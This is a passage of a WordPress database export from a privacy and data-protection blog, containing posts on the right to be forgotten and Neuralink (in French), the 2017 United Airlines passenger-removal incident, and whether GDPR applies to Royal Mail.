besoin, et il aurait pu balayer les droïdes et tout le monde, et ça aurait été ça.</em> “</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi, plus d’informations sont-elles mieux stockées ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Qu’est-ce qu’une information sortie de son contexte.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quelle liberté et quelle autonomie lorsque nous ne pouvons plus échapper à notre passé ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lors d’une interview avec le Wall Street Journal, le PDG de Google, Eric Schmidt, a suggéré que les jeunes devraient avoir le droit de changer leur identité une fois atteint l’âge de 21 ans pour échapper à leurs erreurs de jeunesse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il ajoute : « <em>Je ne crois pas que la société comprenne ce qui se passe lorsque tout est disponible, connaissable et enregistré par tout le monde à tout moment.</em> “</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alors, prendre une nouvelle identité est-ce vraiment réaliste ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardons d’abord Facebook, une plateforme où les utilisateurs sont encouragés à partager leurs aventures au quotidien, leurs sentiments et leurs opinions. Facebook a permis l’analyse des profils d’abonnés exploités par l’entreprise Cambridge Analytica afin de manipuler leurs opinions à dessin électoraux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Plus inquiétant, Facebook ne respecte pas les multiples couches de notre personnalité en les stockant sous un compte unique. Plus de liberté d’expression ni de langage modulaire selon les niveaux relationnels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans le passé, on maintenait des journaux intimes. Aujourd’hui, ils ont été remplacés par des blogs en ligne ou des plateformes de médias sociaux où l’on révèle les détails les plus intimes de la vie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Et accessoirement la vie d’autres membres de la famille, amis, collègues, tout mis en ligne pour l’éternité.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Aujoutd’hui, 50% des blogs sont tenus par des jeunes de moins de 18 ans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La génération Google, comme l’appelle Daniel Solove, a ses souvenirs gravés pour toujours. Une enfance qui les suivra à jamais, à la portée de Google pour rassembler chaque pièce éparse ou remonter les vieux souvenirs en surface.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Oublier n’est pas pardonner. Oublier est une purge salutaire de notre cerveau. C’est surtout une purge aléatoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peut-être avez-vous entendu parler de Neuralink, un projet révolutionnaire financé par Elon Musk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Elon Musk est le PDG américain et multimilliardaire connu pour ses voitures électriques Tesla, mais aussi l’inventeur des fabuleuses tuiles solaires. Il projette même de coloniser la planète Mars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’homme le plus riche du monde selon le magazine Forbes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Son projet Neuralink vise à réduire les inégalités sociales en renforçant les capacités cognitives. Un projet d’implantation d’interfaces électroniques dans le cerveau des populations défavorisées, car il estime qu’elles seraient en souffrance cognitive. Une théorie soutenue par le Dr Laurent Alexandre français qui estime qu’un QI élevé est la clé du succès. Toute une utopie soutenue par les adeptes du trans-humanisme.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Offrez-leur un traitement cérébral supplémentaire et vous résoudrez les problèmes de pauvreté !</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ajout de mémoire :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maintenant, penchons-nous sur cette petite histoire racontée par le Professeur Jean-Gabriel Ganascia :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une petite fille, Adèle, demande à sa grand-mère Juliette : Grand-mère, que signifie une «<em>récitation</em>» ? La grand-mère se souvient vaguement qu’au début du XXIe siècle, les gens devaient lire et relire pour mémoriser des poémes ou autres textes littéraires. Adèle vit en 2075. Elle n’en a aucune idée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neuralink a résolu le problème de mémorisation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En fait, Elon Musk a emprunté son idée à NEURALIFE dans « <em>Tomorrow and Beyond</em> », ouvrage de science-fiction de Ian Bronx.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La petite fille est curieuse de savoir si cet apprentissage par cœur aurait été douloureux. La grand-mère la rassure : « <em>non, il fallait juste lire et relire pour mémoriser, pour ne pas oublier. </em>“</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La petite fille n’a aucune idée de ce que signifie oublier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jean-Gabriel Ganascia, qui raconte cette histoire de science-fiction, est professeur d’informatique et philosophe français. Il est président du comité d’éthique au CNRS. Ses recherches sont particulièrement axées sur l’éthique et l’intelligence artificielle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En France, les patients sont déjà traités par des simulations électroniques profondes du cerveau pour traiter les symptômes de la maladie de Parkinson.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maintenant, imaginez avoir une mémoire étonnante pour enregistrer et vous souvenir de tout, y compris chaque rêve, chaque détail de votre vie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eh bien, près de 80 personnes dans le monde aujourd’hui ont naturellement cette capacité biologique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En réalité, ils en souffrent. Ils souffrent de troubles d’hypermnésie. Ils gardent en permanence un souvenir intact de leur vie. Ils se souviennent pratiquement de chaque événement mineur dont la plupart des gens oublieraient en quelques jours. La mémoire pour eux est si vivante qu’ils peuvent ressentir la douleur pour toujours une fois enregistrée. Chaque image douloureuse qu’ils voient reste gravée dans leur cerveau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imaginez le cauchemar qu’ils vivent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sans oublier que nous pourrions être hantés par le passé sans la possibilité de pardonner ou de décider dans le présent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si le projet Neuralink devait aller de l’avant, il lui faudrait un boutonàd’effacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Et c’est la la grande question : qui peut décider de sélectionner et supprimer nos souvenirs ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Avant même Neuralink, nous sommes déjà la première génération à avoir une grande partie de notre vie en permanence, enregistrée numériquement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Google agrège et remonte en un clic toutes les miettes d’informations qui composent le puzzle de notre vie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Que peut offrir le droit à l’oubli ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le soi-disant ‘<em>droit à l’oubli</em>’ créé par la Cour Européenne de Justice ne supprime pas les informations, mais dissocie uniquement le contenu des résultats du moteur de recherche Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans des circonstances spécifiques, un droit de suppression a été introduit par le récent règlement européen sur la protection des données personnelles. Mais il ne concerne qu’une infime parcelle de nos informations disponibles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depuis sa création il y a plus de 20 ans, Google recueille et accumule une masse de données.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Google en sait plus sur chacun de nous que nous-mêmes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La nouvelle société Panopticienne de surveillance invisible menace la liberté et la dignité humaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Se souvenir a longtemps été le rêve de l’homme. Cependant, l’oubli est une capacité biologique. Aujourd’hui, un changement s’opère. De l’oubli biologique, nous sommes passés à la mémoire numérique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Normalement, la mémoire est l’exception, l’oubli la valeur par défaut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Numériquement, la mémorisation est devenue la valeur par défaut, l’oubli l’exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La santé et le bien-être humains sont basés sur l’équilibre entre la mémoire et l’oubli.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les feuilles des arbres prennent les couleurs de l’automne pour tomber. Progressivement, ils rejoignent le sol pour enrichir ses nutriments. Cet cycle de putréfaction est ce qui permet la naissance de nouvelles vies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une transmutation que l’épigénétique commence à entrevoir dans l’ADN humain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nous devons oublier pour mieux nous souvenir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La conscience donne la possibilité de peser les avantages et les inconvénients. Être conscient, ce n’est pas avoir peur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Comment protéger au mieux notre vie privée ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Faut-il prendre le risque de tout mettre en ligne pour l’éternité ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Comment apporter transparence et contrôle pour une meilleure confidentialité ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce sont les questions de notre avenir, l’avenir de nos enfants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quel genre de société voulons- nous pour nos enfants ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pour se protéger contre un avenir incertain, il vaut mieux stocker moins que plus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alors, souvenons-nous d’oublier, pour emprunter les mots de Viktor Mayer-Schonberger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lectures complémentaires :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La vie sous les chiffres</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Garder un œil</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Drones, éthique et réglementation des voitures autonomes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initiatives de la France pour relever les défis de l’intelligence artificielle</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Caméras portables</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce travail est publié sous une licence internationale Creative Commons Attribution 4.0 .</p>\n<!-- /wp:paragraph -->','POURQUOI LE RESPECT DE LA VIE PRIVEE EST UNE IMPERATIVE','Rétablir le paramètre par défaut, du souvenir à l\'oubli.','publish','closed','closed','','pourquoi-le-respect-de-la-vie-privee-est-une-imperative','','','2021-07-07 23:15:01','2021-07-07 23:15:01','',0,'https://datarainbow.eu/?p=810',0,'post','',0),(814,1,'2020-05-02 12:01:25','2020-05-02 11:01:25','<!-- wp:paragraph -->\n<p>By now you must have heard of the incident that happened Sunday 9th of April at the Chicago O\'Hare International Airport. It\'s all over the news.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what happened exactly?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From what we know, it was the last flight on a Sunday evening 5pm from Chicago to Louisville Ky, on a small plane operated by United Express on behalf of the United Airlines. A passenger, Dr. David Dao, 69 years old, internal medicine specialist from Kentucky, was violently removed him from the seat, then dragged out of the plane by three policemen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1- It was not the case of an over-booked flight. First correction to what has been largely reported, the flight was not over-booked. All passengers had their tickets and had boarded on the plane. At this point, and once everyone was seated, somehow the company discovered they needed four seats for their own crew to board. According to the company, they used a set of criteria to determine which passengers should be denied access to boarding. Again, remember in this case everyone had been issued boarding passes and seated. So the right to deny boarding was waved by issuing barding passes and allowing passengers inside the plane. In the case of over-booked flight, Rule 25- Boarding Priorities of the airline contract stipulates :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\" If a flight is Oversold, no one may be denied boarding against his/her will until UA or other carrier personnel first ask for volunteers who will give up their reservations willingly in exchange for compensation as determined by UA. If there are not enough volunteers, other Passengers may be denied boarding involuntarily in accordance with UA’s boarding priority:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passengers who are Qualified Individuals with Disabilities, unaccompanied minors under the age of 18 years, or minors between the ages of 5 to 15 years who use the unaccompanied minor service, will be the last to be involuntarily denied boarding if it is determined by UA that such denial would constitute a hardship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines\' Own Contract Denied it any Right to Remove Passenger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"United said in a statement that it needed room on the aircraft to transfer crew for another flight and that it offered $1,000 to customers to give up their seats. When no one volunteered, it selected several passengers to deplane.\" M. Dao was chosen, but United said he refused to get off the plane. The tree other passengers accepted to onboard. M. Dao resisted explaining he had an early morning appointment the next day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A case of obvious management failure. They should have known they needed the seats before allowing passengers to board. Had they not boarded, they could have better managed the situation at the airport instead of rushing shortly before the take off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The road distance from Chicago to Louisville is about 5 hours drive. Leaving at 5pm, the crew could still arrive at 10 pm ready for departure the next morning. Next time, they might consider that option.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They preferred to call airport cops to evacuate the 69 years old manu militari, three police officers dragging him on the floor, causing injuries to the passenger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2- Use of disproportionate force to evacuate the passenger. This article in BoingBoing brings more details : Oversold, understated and authoritarian: debullshitifying the reporting on United\'s \"removal\" of Dr David Dao</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Dao wasn\'t beaten up by Chicago Police, but by airport cops, who are not part of CPD; what\'s more, the airport cops\' rolls include Richard Zuley, a dirty Chicago homicide detective who quit after a series of wrongful convictions, then worked as an \"interrogator\" at Guantanamo Bay, before boarding a plane in Chicago and beating a passenger unconscious.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, and they share my view, that once seated, the place is secured and the passenger should not be involuntarily evacuated. The plane was not over-booked, UAL was giving priority to its own crew.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rule 21- “Refusal of Transport” lays out the conditions under which a passenger can be removed and refused transport on the aircraft. This includes situations where passengers act in a “disorderly, offensive, abusive, or violent” manner, refuse to comply with the smoking policy, are barefoot or “not properly clothed,” as well as many other situations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It does not appear from the passengers recordings or witnesses that Dr Dao had any offensive behaviour. His resistance only started once they persisted to drag him out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3- What was the result of the operation?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Chicago’s aviation police officers dragged him out of his seat and up the aisle, causing bleeding to his face. Cellphone videos of the incident quickly went viral.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dao suffered a broken nose and concussion, his lawyer said Thursday. He was in a Chicago hospital undergoing treatment for his injuries. He has retained a high-powered Chicago personal injury lawyer, Thomas Demetrio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The man who was dragged off the United flight just took the first step toward filing a lawsuit</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United faces more questions as dragged passenger hires high-powered attorney</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Chicago Tribune : \"Demetrio\'s practice centres on medical negligence, product liability, airplane crash and commercial litigation on behalf of plaintiffs and he has negotiated more than $1 billion in settlements, according to the firm\'s website.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Attorney for United Airlines passenger Dao says there will \'probably\' be a lawsuit</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the biggest damage caused is the reputation of the company. The incident was a public relations nightmare for United.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the age of the internet, social media and smartphone recordings, the word get spread at the speed of the light. Video recordings of the incident have gone viral online. Calls to boycott and all kind of sarcasm have followed. The company made a first public statement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines confirms that beatings will continue until volunteering improves</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines Training Video.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I Know You’re Mad at United but… (Thoughts from a Pilot Wife About Flight 3411)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the close of trading Monday, the airline was valued at about $22.49 billion. At around noon on Tuesday, its value had sunk to $21.92 billion, a loss of more than $500 million. By close of trading its value had recovered a bit, to $22.25 billion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines Stock Drops $1.4 Billion After Passenger-Removal Controversy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines loses $950 million in market value as shares tumble.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How a Disconnected Corporate Culture Cost United Airlines $800 Million Overnight</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initially, Instead of apologising and promising to change its protocol, United grew defensive and entrenched itself behind legalistic corporate-speak. The company claimed that its employees had “followed established procedures” to remove the man from the plane—to “re-accommodate” him, in their clunky euphemism—using its legal right to deny people boarding when it overbooks a plane. Consequently, United was strongly criticised for its public handling of the crisis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initially, the company’s CEO placed the blame on Dao for the incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On Tuesday, CEO Oscar Munoz called the event \"truly horrific\" publishing a second apology:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Like you, I continue to be disturbed by what happened on this flight and I deeply apologise to the customer forcibly removed and to all the customers aboard. No one should ever be mistreated this way,\" ...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"I want you to know that we take full responsibility and we will work to make it right,\" he said. \"It\'s never too late to do the right thing.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Association of Flight Attendants agreed. An involuntary bump \"should never result in a passenger being physically injured,\" spokeswoman Taylor Garland said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The aviation security officer who pulled the man from his seat was placed on leave Monday, \"pending a thorough review of the situation,\" the Chicago Department of Aviation said in a statement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Chicago Tribune reports:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>White House spokesman Sean Spicer characterised the incident as \"troubling\" and said he was sure President Donald Trump had seen the video.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, legislators posed their own questions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Consumer trust and confidence are critical to ensure this industry continues to thrive, and we hope United Airlines will work diligently to immediately address this incident and make necessary improvements to ensure it does not occur again,\" a group of 21 senators wrote in a letter to Munoz.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Separately, four senators sent several questions about the \"very disturbing\" incident in letters to Munoz and Ginger Evans, Chicago\'s aviation commissioner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The senators said it was \"hard to believe that some combination of better planning, training, communication, or additional incentives\" would not have mitigated the incident or prevented it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daily Mail reports : Angry United Airlines pilots\' union issue statement denying ALL responsibility for forcible removal of doctor last week and say Chicago cops are to blame</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Americans trust big companies less and less. When Bill Clinton took office in 1993, only 31 percent of Americans said that they had little or no trust in business, according to Gallup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4- On the Algorithm that selects the un-voluntary passengers to be evacuated. What determined that M. Dao had to evacuate its seats was an algorithm :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The priority of all other confirmed passengers may be determined based on a passenger’s fare class, itinerary, status of frequent flyer program membership, and the time in which the passenger presents him/herself for check-in without advanced seat assignment.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was this a fair deal? had the passengers not boarded already? A machine, automated, artificial intelligence based selection is less \'arbitrary\' the result is dame to be \'fair\'. However, a human decision could have listened to M. Dao\'s arguments on why he would not agree to give up his seat. Maybe the fact of being of a minority Chinese origin was not innocent to the heat of the conflict. Should the final decision be taken by a human? Some of the questions that will come out more and more often, including with the automated decision making of autonomous cars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Artificial intelligence: How to avoid racist algorithms</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I strongly recommend the read of Wendy Grossman\'s article on algorithm AI decision making and the United Airlines incident. The automated decision to select the passengers to deplane could have been better explained and eventually accommodate the specific situations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mark Rasch, Attorney and Cybersecurity Expert, The United Airlines Doctor Debacle, The Law and Crisis Communication</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further reading :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>WHY UNITED WAS LEGALLY WRONG TO DEPLANE DAVID DAO</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines Passenger May Need Surgery, Lawyer Says</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Image borrowed from Zizzle.</p>\n<!-- /wp:paragraph -->','United Airlines In Bad Shape','By now you must have heard of the incident that happened Sunday 9th of April at the Chicago O’Hare International Airport. It’s all over the news.','publish','closed','closed','','united-airlines-in-bad-shape','','','2021-07-31 23:05:56','2021-07-31 23:05:56','',0,'https://datarainbow.eu/?p=814',0,'post','',0),(206,1,'2019-01-28 04:30:24','2019-01-28 04:30:24','<!-- wp:paragraph -->\n<p>Information retained until you delete it;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Information with a timeout</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Information retained until your Google Account is deleted</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Information kept for long periods of time for specific reasons.</p>\n<!-- /wp:paragraph -->','Untitled Reusable Block','','publish','closed','closed','','untitled-reusable-block','','','2019-01-28 04:30:24','2019-01-28 04:30:24','',0,'https://datarainbow.eu/?wp_block=untitled-reusable-block',0,'wp_block','',0),(812,1,'2020-05-02 12:48:41','2020-05-02 11:48:41','<!-- wp:paragraph -->\n<p>There has been questioning around the application of the GDPR to Royal Mail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On his video interview with the BBC, ICO representative Steve Woods, was questioned if GDPR would apply to the RM. His answer was yes it applies. I bring up the question on Twitter asking @ICOnews if they could confirm this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>, @ICOnews hi could you possibly clarify GDPR application to the post. Is Post office liable for data protection of mails content? Let\'s say in case of wrongful delivery? Is that a data breach?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The answer came shortly after from @ICOnews :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As with current DPA, it\'s unlikely that the Post Office would be the data controller for information contained in post they’re delivering, and so wrongful delivery would be unlikely to be considered a breach, but their own/other rules may apply in that situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two analogies that came to my mind : one is if someone borrowed a coat and a diamond ring in the pocket he had no knowledge of get damaged or lost, could he be held liable?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second analogy is ISP immunity for third party content. As an ISP is not liable for third party content if it does not monitor or edit content, how could RM be liable for the personal data hypothetically content in the letter it delivers. If the content was to be of sensitive value, it should be registered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was told Tim Tuner had expressed a divergent view (Return to Sender).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>James Bryce Clark</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>@JamieXML had an interesting reaction :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Oh, man, are we really eradicating the traditional \"common carrier\" doctrine? :(</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Commerce as we know it would grind to a halt, if there were not reasonable limits on the duty to inspect the contents of third-party packages. (I\'ve heard similar arguments made for limitations on the duties of ISPs and Internet content portals.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Jon Baines @bainesy1969 remains confident RM is in control of the personal data hypothetically inside mails.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a wise man once said in a different context “ The...European data protection framework actually has a breath-taking scope”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> I cannot see how RM could process any personal data as the data inside the mail is, in principal, out of its reach. The only processing activity I could see is by \"dissemination or otherwise making available\" of an hypothetical personal data RM would have no knowledge of it. In my view, RM liability is limited to the delivery, not processing the data inside the mail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But for Jon Baines, @bainesy1969</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Replying to @clarinette02 @neil<em>neilzone @lawyer</em>martin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data protection law doesn’t say anything about data having to be “within the reach” of the processor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve not actually come down one way or another. I think Royal Mail must be either a controller or a processor, for the reasons in Tim Turner’s blog. But no one wants to address the implications for societal/pragmatic reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks to @IPnewsbe forwarded this pre-GDPR document, It seems clear to me that the ICO would agree with my interpretation. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"This means that the mail delivery service is neither a data controller nor a data processor for the clients that use its services because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> it is a mere conduit between the sender of the mail and its recipient;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> it does not exercise any control over the purpose for which the personal data in the items of mail entrusted to it is used; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> it has no control over the content of the personal data entrusted to it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol start=\"36\">\n	<li>This makes sense in practice because it would be unreasonable to expect a mail delivery service that has no control over the content of the mail items it delivers to comply with the data protection principles. For example it would not be able to ensure that personal data in its possession is accurate, up to date or held only for so long as it necessary. It cannot have data protection responsibility for personal data contained in an item of mail. It is merely responsible for the security of the letter or parcel in a physical.\" </li>\n</ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Otherwise any transporter would be deemed to GDPR liability for content. That does not make any sense to me. Could any road, rail, plane, or sea transporter become liable for the personal data content of the courrier?!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ICO document is under the DPA. Would it be different under the GDPR ? How could the ISP benefits from mere conduit immunity while Shooting the Messenger Royal Mail, as the honourable Gavin Sutter would say.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>W Kuan Hon, Christopher Millard and Ian Walden have even argued cloud provider should not be liable for the personal data they hold on behalf of their clients. I would argue this is a different situation as the actually are made in charge of saving and storing data on behalf of their clients. in paper \'Who is Responsible for \'Personal Data\' in Cloud Computing?The Cloud 